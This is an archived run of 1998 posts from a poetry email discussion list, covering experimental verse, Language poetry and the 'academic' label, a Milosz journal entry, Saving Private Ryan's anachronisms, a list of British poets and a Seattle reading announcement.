97. Alan Jennifer Sondheim
The They
Mon 3 Aug 1998

-

Subject: The They

De Man Heidegger and Maybe Celine
De Man Heidegger and Maybe Celine
My Name is Jennifer Where have you Been
De Man Heidegger and Lovely Celine

"what they wrote, or didn't write, about the war
at one time, meaning and a motivation
the dim grapple, blunted hook and circulation
of beard and book and object, always a roar
of Truth about their writing
they'd thought they'd go down fighting
through clear delineations of a mausoleum door
they'd see 'from out of into' the scum
then there was clarity and deaf ambition
by now and later also blind attrition

writing contaminated by its source
beat a dead horse in your condition"

(Wilfred Owen)

To which I might reply:

Celine is a special case, Jewish Gravel Standing Upright on the Peninsula
De Man another, for who would want the Inability to Change a Mind
Before the Patriarch, Denial of Title
 For I, Daishin Nikuko, insist that Roots atrophy,
 The Inexorable Grinding of Wrong Opinion
 Before the Castle of Chastity shall Lose its Way across the Straightest
  Moat
Dear Heidegger, Let us Read what is Written, Remembering but Losing
 At times the Thread across This Way
 For the Thread is a Thread to be sure,
 And sometimes Knowledge is Grounded in Letting-Go

The Hardest Lesson of All is that
 Not everything is Reflected in everything else
 There are Things Cut off, Cauterized
A Reading is Always a Beginning to take and Give simultaneously
 Across the Moat towards the Castle of Fortitude
 Which is not Always Right, but has proper Reading Lamps

I shall not Strain my I's.

I shall Cut myself Off in the Wilderness
I shall Howl Like a Beast that Longs to Open and Run
I shall Wear Gravel
I shall Cease Reading
        Gain Certain Knowledge
            Forget What I have Gained

"For the Thread to be Sure is a Thread
And Knowledge is sometimes Grounded in Letting-go"

↑ Index

98. **maz881**
DuCharme
Mon 3 Aug 1998

<<But I don't want a pineapple.>>

ok Mark D., what do you want?

what's your address btw, and you Todd Barron and you Pat Pritchett?

gracias,

Bill Luoma
[redacted]

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99. Chris McCreary
address query/Brian Lucas & Angle
Mon 3 Aug 1998

I'm trying to contact Brian Lucas/Angle & am looking for either an e address or his new (NYC) mailing address. His e-mail and mailing addresses listed @ the EPC are both out of date...

Please backchannel any info. Thanks.

Chris McCreary

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100. KENT JOHNSON
Rock n' Roll?
Mon 3 Aug 1998

On August 3, Aldon Nielsen wrote:

(Saving Private Ryan) "has far verbal anachronisms in the dialogue than the Lyne _Lolita_."

A small thing, and I know the discussion on the film is pretty much over, but did anyone else notice that as the Germans are rolling into town in the final battle scene one of the American soldiers scurries to his position and calls out, "Rock n' Roll boys!"

I'm pretty sure I heard this. If so, this would be out of time, wouldn't it? How could a film like this, where even the boots are the real item, get something like that wrong? Or maybe it was a little joke on purpose?

Kent

↑ Index

101. Tosh
Re: Rock n' Roll?
Mon 3 Aug 1998

---

a_."
>
>A small thing, and I know the discussion on the film is pretty much
>over, but did anyone else notice that as the Germans are rolling
>into town in the final battle scene one of the American
>soldiers scurries to his position and calls out, "Rock n' Roll boys!"
>
>I'm pretty sure I heard this. If so, this would be out of time,
>wouldn't it? How could a film like this, where even the boots are
>the real item, get something like that wrong? Or maybe it was a
>little joke on purpose?
>
>Kent

I too notice this and thought it was odd! But as a friend pointed out to me maybe they were saying lock n' load - as get your guns ready.

Tosh Berman
TamTam Books

↑ Index

102. Tom Beard
Re: My Definition of Academic
Mon 3 Aug 1998

Mark P:

> This is very interesting Matt.....Especially since many folks perceive
the
> *academics* as the ones who tend to take a hard-nosed anti-intellectual
> stance. Now i strongly agree that a pretty shallow anti-intellectualism
> is a prominent feature of U.S. life and cul'chah..

Wow, this sounds weird to me. Maybe it's just that NZ has nothing to compare to the Ivy League establishment, but I don't know many people here who would say that academics were anti-intellectual. In popular usage,

academic = intellectual = pretentious = bad.

I've probably been exposed to too many open mike nights (where anything that's influenced by poets more serious than Jim Morrison is 'academic') or 'Sundaystream' Poetry Society readings (where anything other than a haiku about one's cat is 'academic'). I'm used to being abused as 'academic', though I haven't studied literature formally since I was 16. One gets labelled as a post-modernist (= especially bad) if one's poems don't rhyme.

Most 'established' poets here work in or are friendly to the academy, but the academy is neither stuffy-leather-armchairs staid nor (except perhaps in Auckland) radical-political-post-modernist. I suppose it's close to the Iowa school: middle-brow cultured liberal, with an emphasis on 'common sense' and being down-to-earth. Blame it on the sheep, I guess.

If I were being less facetious (and I suppose I'd better make an effort), I'd say that the phrase 'academic poetry' refers here to anything that requires a post-compulsory education to appreciate. It has nothing to do with the qualifications or career of the poet: an English professor who writes nice little poems about trees and mountains is not academic; but a truckdriver who quotes Derrida is.

Robert A:

> Bob Perelman, Bud Lite Professor of English, University of Pennsylvania
>
> Barrett Watten, General Motors Professor of American Studies, Wayne State U

How about: Bill Manhire, Te Mata Wines Poet Laureate?

Actually, I've no objection to this sort of sponsorship: Te Mata are not exactly a megacorporation (and anyone who can make a wine like their Coleraine is okay with me); the post lasts two years, requires no "Ode to Merlot", funds the publication of a book and results in more public awareness for poetry. Maybe we need more sponsorships like this?

Address flames to: Tom Beard.

↑ Index

103. **trbell**
Re: Oh Henry
Tue 4 Aug 1998

"This colorful, complex, and influential movement was...considered 'a harmful influence' or 'a bourgeois error,' and, since approximately 1930, thought unworthy of serious consideration" - Markov, _Russian Futurism_ - happened across this today and couln't help wondering how it might relate to the current flurry here.

tom bell

↑ Index

104. Simon DeDeo
Address Change
Tue 4 Aug 1998

Hello, all; in a bit of an e-mail blockout, unfortunately, and soon I will be far, far away from e-mail at all (well, the Orkneys.) I will also soon be changing my address on the list to:

[redacted]

In anticipation of the coming term and the end of my time in Puerto Rico.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

↑ Index

105. Simon DeDeo
Re: angling others / different tracks through the woods / lofgish rant
Tue 4 Aug 1998

As far as I know, the concept of the academics commenting on contemporary poetry has a very short history -- beginning in the 20th century, no? -- with the introduction of studies in the UK cirrculum. Harvard, for example, began much later; not sure when. Does anybody know when the correspondance between the academy and the poets began, with the poets as supplicants? Perhaps it all began when Eliot dropped out of philosophy to begin writing; the footnotes to The Waste Land seem to demand three classical scholars and a sociologist to decpiher.

I'd be interested to hear how critics within the academy perceive themselves. Do you consider your position in the university as a handy way to support yourself in what you love to do? Or do you perceive a more organic communication between the university (and all the social and intellectual privileges that entails) and your work? That you share a building with, say, the historians, who indirectly codify and thus direct the course of history -- does this seem to

mirror your own experience of working from "within"?
(Or "more blue", for those tired of spatial metaphors.)

On a side note; my comment that "why can't critics stick to talking about the poets they like" seems in retrospect to be a little naieve. I was thinking of the kind of criticism -- very valuable -- that goes on in the letters of a man such as Keats, or Pound, where they trash various writers that would be considered today a "vital" part of a critic's repertoire -- Milton, for example. A critic perhaps has more responsibility -- but this seems to return to the question of how the critics see themselves in relationship to the university.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

106. **Simon DeDeo**
Milosz
Tue 4 Aug 1998

On a different subject; I've been reading Czeslaw Milosz's journal _Year of the Hunter_, which he kept from late 1987 to mid 1988. Here's an entry from November 17th, 1987 (which seems somehow significant -- the only date near it that I can think of is Guy Fawkes.)

I try to read contempgrary American poetry conscientiously. It's understandable that where there are thousands of poets, the overwhelling majority cannot be worth very much, though they provide an incentive and nourishment for the few, just a handful; it's the same everywhere. Something similiar is happenang in modern painting and the results are similar, too, because the paintings afford little pleasure.

One can say about these poets that their technique is first-rate, but that they have nothing to write about. Their "life experience" shows through every line of verse; it is the life of lecturers on university campuses or in high schools and what they describe most frequently is their family-life complications, their own or heard about in the neighborhood bar. It is a common, monotonous reality, free of historical earthquakes; at most, it includes one or two earthquakes, in a literal sense. Nothing drives them to leap like salmon confronting an obstacle. Precisely that, this "having nothing to write about", is, in my opinon, quite a universal problem to be studied.

Many things in this quote. First of all, the difference between his perception of American poetry and the one that has dominated this list discussion. For Milosz, it seems, the L=A=N=G=U=A=G=E folk are wound like ivy to the sonnet writers. The attention, which is rare these days, to content, sticks out in my mind -- which might be due to Milosz's encounters with a language he doesn't write in?

And the notion of historical earthquakes? What does he mean? It all seems rather odd to someone who grew up on poetry as the product of a comfortable life -- from Aeschylus to Keats and on. Not that all poetry need be generated from peace, but certaintly not that war or "earthquakes" need be the sole generators of verse. Perhaps he means conceptual earthquakes -- but it seems that then only the first to arrive on the scene would claim the prize. A later arrival would, no matter what the skill, would fail to experience the earthquake and be left "common, monotonous".

And finally, I'll take issue with the (slightly snide) remark about lecturers and high school teachers, which on later consideration seems not so snide. There needs be, for Milosz, some kind of substrate from which is thrown up from time to time the "great", something more than a "community" it seems, but rather a community in the land of word. It's slightly mystical, even, the way that he believes the unread chapbooks of the many provide "nourishment for the few".

Enough. Best wishes to all,

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

PS: I hope nobody on the list takes my quote of Milosz as a my criticism of academics who write poetry -- a broad class that would draw in many fish, including minnows such as myself.

↑ Index

107. George Bowering

Re: Rock n' Roll?

Tue 4 Aug 1998

Two friends in Toronto e-mailed me the news that they had gone to see that "Saving Pvt Ryan" movie, and that they had slumped out afterward, complaining that it was yet more US jingoism.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

108. **Tosh**
Re: Rock n' Roll?
Tue 4 Aug 1998

> *Two friends in Toronto e-mailed me the news that they had gone to see that "Saving Pvt Ryan"*
> *movie, and that they had slumped out afterward, complaining that it was yet more US jingoism.*
>
> *Well yeah, it is a shitty film. A well made shitty film, but neverless a shitty film. Actually it is sort of like a three hour version of the tv show COMBAT. And I like Vic Morrow better then Tom Hanks. But I must say, it must be more than a movie to appear in the Poetics discussion group!*

Tosh Berman
TamTam Books

↑ Index

109. **trbell**
feminism and "Oh Henry" and the Yeats/Pound split
Tue 4 Aug 1998

I might be speaking out of gender here, but it might be a "feminine" weaving that Paz feels will bring these familiar and enigmatic figures to the loom.

tom bell

At 04:15 PM 8/3/98 -0400, you wrote:
>On Mon, 3 Aug 98 Henry Gould writes:
>
>>The Yeats/Pound thing is not an attempt
>>to narrow the range; just a means of once again raising the possibility
>>that "innovative" poetry & experiment might be organized on a whole
>>different set of paradigms. I'm not saying that's not already happening…
>
>This discussion about 'paradigm' shifts has me examining again something I am just reading now in Gary Taylor's book and then comparing it to some

remark by Octavio Paz in the 'Preface to his book ONE EARTH, FOUR OR FIVE WORLDS, which I first read a few weeks back.
>
>For example,
>
>>From CULTURAL MEMORY by Gary Taylor:
>
>"In his book _The Structure of Scientific Revolution_ , Thomas Kuhn argues that science does not 'progress' in the orderly, incremental way we usually assume; instead, scientific revolutions turn the established worldview on its head, replacing one paradigm with another. The new paradigm is not necessarily better; it is just different, so different that it cannot really be compared with the old paradigm, because there is no common standard of measurement that both paradigms would accept. Kuhn divides the history of science into brief periods of revolution, when paradigms shift, and much longer periods of normal science, when researchers investigate technical problems defined by the prevailing stable paradigm. We especially remember the revolutionary periods and the scientist associated with them because they generated an exceptionally large intellectual stimulus. . ...."
>
>
>>From Octavio Paz:
>
>"Like the Mayas, who had two ways of measuring time, the 'short count' and the 'long count', French historians have introduced the distinction between 'long duration' and 'short duration' in historical processes. The first designates the broad rhythms that, through modifications that are imperceptible at first, alter old structures and create new ones, thus bringing gradual but irreversible social changes. Examples include increases and decreases in population, which are still not entirely explained; the evolution of sciences and technologies; the discovery of new natural resources or their gradual exhaustion; the erosion of social institutions; the transformation of mentalities and sensibilities. . ."
>
>" 'Short duration' is the domain par excellence of the event : falling empires, nascent States, revolutions, wars, presidents resigning, monica lewinsky, assassinated dictators, crucified prophets, sanctimonious crucifiers, ken starr, etc. [yes, I made a clever revision here]
>
>History is often compared to a woven fabric, the work of many hands; without deciding on a pattern beforehand, and without knowing exactly what they are doing, these hands weave threads of every color together until a

succession of figures, at once familiar and enigmatic, appears on the loom. From the point of view of 'short duration', the figures are not repeated : history is constant creation, novelty, the realm of the unique and singular. From the standpoint of 'long duration', repetitions, ruptures, and renewals can be perceived: rhythms. Both visions are true."
>
>
>
>_____
>Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>
>

↑ Index

110. **Herb Levy**

Re: My Definition of Academic

Tue 4 Aug 1998

Well okay, sure.

But other than these few extremely rare exceptions (so rare, they're hardly worth commenting on) can you really make a case for corporate sponsorship?

(Does the FBI count as a corporation?)

David Kellogg wrote:

> *On Mon, 3 Aug 1998, Robert Corbett wrote:*
>
> *The last phrase is a bit cryptic for me. Is there that much corporate sponsorship of writing program (or language poetry, for that matter)?*
>
> *Bob Perelman, Bud Lite Professor of English, University of Pennsylvania*
>
> *Barrett Watten, General Motors Professor of American Studies, Wayne State U*
>
> *Charles "Gordita" Bernstein, Taco Bell Chair of Poetry and Poetics, SUNY-Buffalo*
>
> *"Poetry, by Ralph Lauren" reading series at the Hear Inn.*
>
> *The 1998 Nike "Girls in the Game" tour (featuring Howe, Retallack, Scalapino and others reading simultaneously on three stages!)*

Herb Levy
[redacted]

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111. Mark DuCharme

Re: H=E=N=R=Y

Tue 4 Aug 1998

I disagree. I don't believe language, even in the texts of the dreaded <Language Poets>, CAN be private property. I believe language is inherently communal. This presumption changes how one _reads_ such texts-- de-esotericizes them, if you will. Perhaps this, I think strange, belief in language as private property in modernist & postmodernist writing (since I assume you would probably extend your critique not just toward Langpo, but perhaps also to Stein, Zukofsky's _"A"_, Un Coup de Des, _Finnegan's Wake_, etc.) explains why you are seemingly incapable of reading these texts with pleasure, or without annoyance. Whereas someone like me, who doesn't share your belief in language as private property in or outside of these writings, IS capable of reading these texts as non-esoteric-- as a liberation & a pleasure.

--Mark DuCharme

Henry Gould wrote:

>On Mon, 3 Aug 1998 10:03:15 -0700 Peter Balestrieri said:
>>
>> Henry, I'm trying to follow your argument and I'm wondering if
you'd
>> be willing to clarify what you mean by "...the intent was to
critique
>> another style of appropriation..." Who was doing the critiquing
and
>> what style of appropriation are you referring to? I think you've
>> raised something important here and I want to be able to better
>> understand what you're saying. Did you mean that Langpo was
critiquing
>> capitalist "appropriation" but only replaced it with another form
of
>> appropriation, aesthetic rather than economic? Or am I way off?
>
>I think Langpo - hit me, real langpoets out there - was trying to
>write against the appropriation of poetry by 70s MFA "self" factories,
>and against the appropriation of literary space by "privacy capital" of
>all kinds. Their strategy was a drastic one: basically to dynamite the
>rhetorical/communicative function, the authorial function, and so on by
>letting "language" - individual words, non-sequiturs, broken syntax &

>rhetoric - speak (often comically) for itself. I'm suggesting this was
>a kind of unwitting creation of a new kind of private property - sort
of
>prospecting the dictionary. - Henry G.
>

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

112. **Safdie Joseph**
Re: Saving Private Henry
Tue 4 Aug 1998

Perhaps it was all the war talk around here lately that made Robert Archambeau dive behind that tree. Robert! You can come out now! No more shrapnel! (Stephen Ambrose -- that crusty old fart! -- turns out to have been Spielberg's technical advisor on matters warlike and was on McNeil-Lehrer tonight . . .)

I apologize for letting Henry defend that hill all by himself for the last few days -- as someone who usually agrees with him (well . . . about 75% of the time), it was cowardly on my part not to have joined in until now. But I was just waiting to hear how Gary Sullivan fared on his vacation quest.

But seriously folks, the sad truth is -- I'm having to fight off becoming a double agent, because I've been giving a close (academic) reading to Marjorie Perloff's _Writing Poetry in the Age of Media_ (which many of you receiving this transmission will already know). And Henry -- she hasn't convinced me, but she sure is asking the right questions!

Listen to this, just from the first page of the Preface: She quotes a line from Diane Ward which is the KIND of thing I think Henry has been complaining about -- "Dark windows in which a list followed by facts in us erupt chilling comparing" -- and then says:

"Our first response to such 'sentences,' especially when there is a whole paragraph or page of them, is that we are the victims of some kind of scam. There are, so the common wisdom goes, a bunch of mandarin poets around . . . who have some sort of murky relationship to Deconstruction and write meaningless and pretentious trash that they pass off as literature. . . . For reasons unclear, a significant body of poetry (or what claims to be poetry) has been produced that is unnaturally _difficult_ -- eccentric in its syntax, obscure in its language, and mathematical rather than musical in its form."

She took the words right out of my mouth -- my mouth in the early 1980s, that is. Veterans of this list will perhaps remember my disinclination to appreciate

the project of Mssrs. Silliman, Watten, et al back in those days (and by the way, I was glad that Kent, in his initial response to Henry, was also critical of the "there is no referent" philosophy). But Marjorie, in this book, has set the bar for critics like myself at a very great height. That doesn't mean I'm going to stop vaulting, just that I really recommend this book as some of the more stimulating -- and infuriating! -- criticism I've read.

I'll have more to say (perhaps only in the form of backchannels to Marjorie) about this opus as I get further along, but have two questions immediately: one, is the "aspirational thought" of John Cage that she cites really a model for anyone here? That is, are we bound, as current practitioners, to find a way OUT of our present mess, rather than just present the mess? And two, she quotes our List Master as differentiating between modes of fragmentation, preferring the kind that "reflects a conception of meaning as prevented by conventional narration . . . dipping into other possibilities available within language." In this formulation and others I've seen promoting "discovery," I smell the vague but undeniable odor of mystification -- we can never say exactly WHAT those "other possibilities" are. Fair enough, but when does the endless spiraling outward become simple bad faith?

Joe Safdie

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113. Douglas Oliver
Re: Other
Tue 4 Aug 1998

Jack Kimball has asked me to post a list of some interesting names in current Brit poetry. I'll do my best to give you, say, 50, very much off the top of my head, with absolutely no order of importance implied by the list.

You see, what I'm really asked to do here is create an anthology via the immediacy of e-mail. This can't be a list of that kind: it would take research and fuller memory recall. I've probably forgotten my oldest friend! At present, most US views of the British scene are somewhat narrowed by the preoccupations both of US poets and British poets who have so far compiled the names or arrange the conferences. Nothing especially wrong with that, but below is a fairly non-partisan list from someone who hasn't lived in Britain for nearly two decades and will miss quite a bit, I expect. May other Brits correct me.

A "T" means I have at least some contact or channel, sometimes close but not always. If Jack or anyone else is interested in following up on a name and I can help, I'd be glad to (within reason).

Andrew Duncan T (edits Angel Exhaust)
Helen MacDonald T
J.H. Prynne T (renewed interest in his work after the "Stars and Tigers" essay,
has become more and more concentrated in lexis more and more difficult.)
Denise Riley T (not producing much poetry just now, but still one of the finest of
all)
Aaron Williamson T (balletic performance artist, fully deaf, still interesting on-
page)
Nicholas Johnson T (runs Etruscan Reader series and conferences)
Karlien ven den Beukel T
W.N. Herbert T (Scots, sometimes writes in Dundee dialect)
Bill Griffiths T (has long been one of the most individual of poets writing out of
London, runs the Eric Mottram archive)
Allen Fisher T (one of the older writers to have kept most constantly innovative)
Catherine Walsh (said to be a good performer)
Miles Champion T (spending a lot of time in the States)
Grace Lake T
Wendy Mulford T (Used to run Reality Street editions with:
Ken Edwards (who continues these editions)
Maggie O'Sullivan T
Iain Sinclair T (Edited Conductors of Chaos, see below)
Harriet Tarlo T
Randolph Healy (with Joyce below part of the non-mainstream Irish)
Trevor Joyce
Tom Leonard T (Scots, strong, political work)
Carlyle Reedy (good performer)
Caroline Bergvall T (again, a good performer)
Merle Collins (With next two. Being out of the country, I don't know much
E.A. Markham about African-British, Caribbean-British, and Asian-British
Jack Mapanje writing. It's difficult to get the publications and I'd dearly love to
be better informed. Fred d'Aiguar has been an important
editor/poet. Can someone help me here?)
Ralph Hawkins T
Alaric Sumner (works with sound and performance motifs)
Tom Raworth T (currently the Brit poet best known by the non-Academic

States
writers)
Lee Harwood T (has been writing strongly again)
Andrew Crozier T (his work has recently reappeared: one of the keenest
intellects in British poetry)
Adrian Harding (Scots, living in Paris) T
David Chaloner T
Anthony Barnett
Victoria Vaughan T
Simon Pettet (New York resident)
Fiona Templeton
Helen Kidd
Peter Riley (publishes Poetical Histories)
Tim Atkins
Martin Corless-Smith (in States)
John Wilkinson T
Drew Milne T
Khaled Hakim (has sort of invented an English of his own from semi-phonetics.
I
don't know him -- he's quite young.)
D.S. Marriott T
Tony Baker (in France) T
Ric Caddel T
John Kinsella (works out of England right now, but properly regarded as
Australian) T
Tony Lopez T
Rod Mengham T (runs the Equipage series)
Alan Halsey T
Barry MacSweeney T (recently returned to the scene)
Tom Pickard T
cris cheek T (works a lot with performance)
Lawrence Upton (good contact for the small press scene and activity generally)
Gilbert Adair

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114. Charles Alexander

Re: Writing Poetry in the Age of Media

Tue 4 Aug 1998

At 02:07 PM 8/4/98 -0500, you wrote:
>Although this might be a gross over-simplification, one of the major
>issues for me is that I would like the reader to be involved in

>'constructing' the poem. I am aware that this goes back to Iser and
>there may be other sources I am not familiar with.

> *If i am right in this would there then be 'lazy readers' and readers who are more willing to invest themselves?*

I don't think it's good to label readers who don't want to take these steps as lazy. Some readers who don't want to join in the constructive process may not understand the invitation. Others simply may not want to participate in this way, while they may eagerly track down every reference in a work by Olson or Pound, which is certainly another kind of investment.

What is it in various of poems which demand a reader's participation/construction, that makes the invitation to do such work, perhaps makes it rather obviously, or in a way which is encouraging? Or is this necessary? And what, in other works, makes them come across as a brick wall which resists such participation rather than inviting it?

These are some of the many questions we struggle with, as I don't think, even with the most 'difficult' (and define that in Henry's way or any way you wish) poets, there is a desire to not have a readership.

When I read what you have posted, I want more explanation of what you mean is involved in the reader 'constructing' the poem. I think such an act is involved in a lot of work talked about on the list, from Susan Howe to Alan Sondheim. So I'm wondering if you have a more specific idea of such reader-construction in mind.

charles

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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115. L. MacMahon and T.R. Healy
Re: Writing Poetry in the Age of Media
Tue 4 Aug 1998

---

from [redacted]

> From: Safdie Joseph

> *.....I've been giving a close (academic) reading to Marjorie Perloff's _Writing Poetry in the Age of Media_*

> *.....two questions*
> *immediately: one, is the "aspirational thought" of John Cage that she cites really a model for anyone here? That is, are we bound, as current practitioners, to find a way OUT of our present mess, rather than just present the mess? And two, she quotes our List Master as differentiating between modes of fragmentation, preferring the kind that "reflects a conception of meaning as prevented by conventional narration . . . dipping into other possibilities available within language." In this formulation and others I've seen promoting "discovery," I smell the vague but undeniable odor of mystification -- we can never say exactly WHAT those "other possibilities" are. Fair enough, but when does the endless spiraling outward become simple bad faith?*

On point one: the thought of poets of any stripe setting themselves the project of finding pat answers is an unhappy one. Yet there are no neutral descriptions, and even should one attempt to "just present the mess" such a presentation will insensibly move in certain directions. I would consider the principle of "aspirational thought" to be satisfied if the writer can keep the ambiguities of the situation in suspension rather than crystallising prematurely. Which I think fits well with Cage's awareness that chance and cadence have the same root.

On point two: . My initial reaction to fragmented syntax was that it may be used as a probe which does not impose any particular hierarchy on the possibilities it discovers. And it seemed that the experience of the reading was an inseparable part of the text. Which is why I think it is hard to talk about such poetry without falling a little flat: the analysis of a rollercoaster ride in terms of velocity and pitch is not quite the same as the real thing. The what of those "other possibilities" can be indicated explicitly, if not definitively, in terms of individual texts, and I am strongly tempted to demonstrate this, only an unwillingness to inflict what may be entirely personal lucubrations preventing me.

Randolph Healy

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116. Jim Andrews
L A N G U (I M) A G E in Seattle Sept. 5
Tue 4 Aug 1998

You're invited to an evening of langu(im)age, an opening/reading/party at The Globe Cafe in Seattle.

VISUAL POETRY OPENING: The pornomorphs will be loosed upon the unsuspecting (but not entirely innocent) patrons of The Globe for a month or two (as long as Robin can stand them) in high res, color wax prints hanging from the ceiling and adorning the walls. Some of the pornomorphs are in a preliminary Web state currently at

http://www.speakeasy.org/~jandrews/vispo/images/GarbOTheGods/SexGoddess.html. These images are drawn from porn on the Net, so if you find such things offensive, please pass on this one. They will be accompanied by the texts on the Web.

The other side of the Globe will feature high res, wax print versions of some of the images at http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm and their accompanying texts.

POETRY: I'm very proud to have Joseph F. Keppler, Robin Schultz, and margareta waterman reading/performing at the Globe with me on this evening of langu(im)age. The four of us share a passion for all the dimensions of language.

margareta waterman wrote the primordial alphabet, cloud coop songs, occam's razor, and several others she's published, along with the works of many other poets, within her nine muses books.

Joseph is the editor of Poets.Painters.Composers and is a poet, photographer, and sculptor. His readings are legendary, as is his innovative, powerful work in multiple mediums.

Robin is the owner of The Globe Cafe. His most recent book is LOVE, OR, which evolved from responses to a wall-sized visual poem Robin did in the cafe. The Globe is itself an interesting work of visual poetry featuring visual poets and their work constantly. There's a visual poem on the ceiling. Until recently there were phrases dangling from the ceiling. And they paint over the full wall mural each year with a new one by a different writer. It also features a great collection of small press poetry available to the patrons. O yes and the food! The Globe is maybe the only vegan restaurant in Seattle.

Party time.

TIME AND PLACE:
Saturday, September 5, 8 pm,
The Globe Cafe, 1531 14th, Seattle, WA
Refreshments and The Globe's excellent vegan victuals available.

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117. Daniel Carter
phasic thin the nest
Tue 4 Aug 1998

Ken Beacon: an other in it-zone relating itself to ensliced vinyl perceptics 'n' name subtleties available veil as label with an eye for battle effects in the brain of subcontinental scentsatiations 'n' red roots gathering the lather link lock 'n' lull bed-lute slathering the swelling bottle(d spices) spied-upon veiled

philosophical questions the discomfort at having said what shall come about be-floor-lit before it buzzes its versed breath of reel eggs hen insist dense city-dweller even if not that much bitter nor abyss doubt Nora B. Hiss doubt the hat's lid the hat slid (write off) through d' pen t' yonder blurry blue be the plural love us all 'n' each the singular huzzle 'n' buzzle a fit fall t' the glownd rownd the way from grown control occur us hue-weaver shower-tangents utter hence for worth-name subtleties available with an eye for battle I melt foreign hour the new word order betwine wager 'n' sin so often than not do quantifiable distance t' speak huff 'n' puff most simultaneously mutually debilitating relief 'n' squander the total exterior resources dry as the moon in the sky contradistinguishing itself from the waters of space-mind and heart of the picture which in this case is no image whatsoever the reverie might madly be in each instance some think new so...so let's order a new letter in with the well-oiled though now quite dirty in the desirable sort of swayin' list of items and eye brightens the asymmetries all araw the way the path the math hath in it the moist inner difference the divine and dynamic potential not just waiting idly in a lie nor lying waitingly in an idol

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

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118. **rsillima**

Huh

Tue 4 Aug 1998

Bob Corbett writes,

"Yeats' strategies were not "disjunctive" as such, and he created a system that aspired to totalization, but nevertheless, there is an esoteric, some would say, obscurantist, aspect to his work that makes it resonate much with Ron Silliman's work as it does with Robert Hass's."

Huh?

Ron Silliman

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119. Donald Wellman

Re: Writing Poetry in the Age of Media

Tue 4 Aug 1998

This post suggested (for me) a way to cut through the many questions that have arisen recently (Henry's) concerning the value of a disjunctive poetics (its liveliness, how moribund, how vitalistic).

It seems to me that if a poem is disjunctive at the level of syntax (fragmented syntax) then it will deny the reader an experience of closure (the rounding out of musical or mathematical form).

This has always seemed to me the primary source of resistance to disjunctive poetries. They prevent the reader from walking away with a sense of having got the meaning. They prevent my appropriation of their language, of the language. Personally, I am not opposed to this state of affairs--meaning I do not need/want/desire to make the poem mine, to file it away in my heart as I have some sonnets by Shakespeare, for instance. Disjunctive poetics requires a different reading process than that. Even at the level of the glowing jolt (unexpected irony, often a pun), I do not find the Emersonian holistic fragment.

What some seem to be asking then is this: is it possible to find coherence at some level in a poem that is disjunctive on the surface? To find such would allow them to walk away from the poem "owning" it. The criticism may boil down to: "how much unownable poetry do we need?" One response is: "we now have so much that the project seems 'moribund.'"

My counter question seems necessarily then: are there disjunctions other than those of the surface?

Oh my mind boils with disjunctions and they do not cohere? but I do not look to disjunction for redemption. I look at it as I look down the barrel of a "fact" that I distrust. It speaks to something reeling in me when it does speak and does not give me words for it.

What I think is interesting about some language poetry is that seems to be something other than a mirror of otherwise inarticulable disjunctions (that would make it surrealistic poetry). It gives language then a presence that is materialistic, language becomes one of those facts that I have stared at reeling--facts that for me might be likened to the timbre of some music I love rather than its form or coherence.

Don Wellman

Don Wellman

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120. Michael Magee
Re: Writing Poetry in the Age of Media
Tue 4 Aug 1998

Donald Wellman writes: "It seems to me that if a poem is disjunctive at the level of syntax (fragmented syntax) then it will deny the reader an experience of closure (the rounding out of musical or mathematical form).

This has always seemed to me the primary source of resistance to disjunctive poetries. They prevent the reader from walking away with a sense of having got the meaning. They prevent my appropriation of their language, of the language. Personally, I am not opposed to this state of affairs--meaning I do not need/want/desire to make the poem mine, to file it away in my heart as I have some sonnets by Shakespeare, for instance. Disjunctive poetics requires a different reading process than that. Even at the level of the glowing jolt (unexpected irony, often a pun), I do not find the Emersonian holistic fragment."

I think this is essentially true, though I'd want to differ slightly - one *can* appropriate the disjunctive poem: it's just that, one can't do it unselfconsciously - that is, one can't do it without being painfully aware that one has done it: I think must of the discomfort over, say, language poetry, stems from this: that readers bred on staid narrative or formalist poem do not want any conscious responsibility for the generation of meaning, they would rather entertain the fiction that they have "got it" - that there can be a transcendental (though also very ordinary) connection between a) authorial intention and readerly recption; or b) between langauge itself (as deity) and the worshipping reader. The only difference, then, between, say, a Perelman poem and a Mary Jo Salter poem - so far as reading practice is concerned - is that there is a codified set of reading-rules for the latter which aids the reader so-inclined in his/her pursuit of that "got it" feeling. In contrast, since Perelman "re-instates the vague" as Wm James put it, the reader has a heightened awareness of her/his own complicity, and either says, "fuck this" and puts the book down, or accepts a more dialogic/antiphonal poetic model. This doesn't imply that things don't "mean," just that they mean differently along different points in a continuum. -m.

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121. Henry
Re: H=E=N=R=Y
Tue 4 Aug 1998

On Mon, 3 Aug 1998 22:39:52 PDT Mark DuCharme said:
>I disagree. I don't believe language, even in the texts of the dreaded
><Language Poets>, CAN be private property. I believe language is
>inherently communal. This presumption changes how one _reads_ such

>texts-- de-esotericizes them, if you will. Perhaps this, I think
>strange, belief in language as private property in modernist &
>postmodernist writing (since I assume you would probably extend your
>critique not just toward Langpo, but perhaps also to Stein, Zukofsky's
>_"A"_, Un Coup de Des, _Finnegan's Wake_, etc.) explains why you are
>seemingly incapable of reading these texts with pleasure, or without
>annoyance. Whereas someone like me, who doesn't share your belief in
>language as private property in or outside of these writings, IS capable
>of reading these texts as non-esoteric-- as a liberation & a pleasure.

Well, the property bit could take us into distant realms of abstraction... but I guess it seems simplistic to say that language is "inherently communal". A big problem for the writer is to find the language that CAN be shared in a way that gets across what she or he wants to get across. And my point was that the canonizing-publishing process gradually applies the same "property effects" to experimental poetry as to the rest.

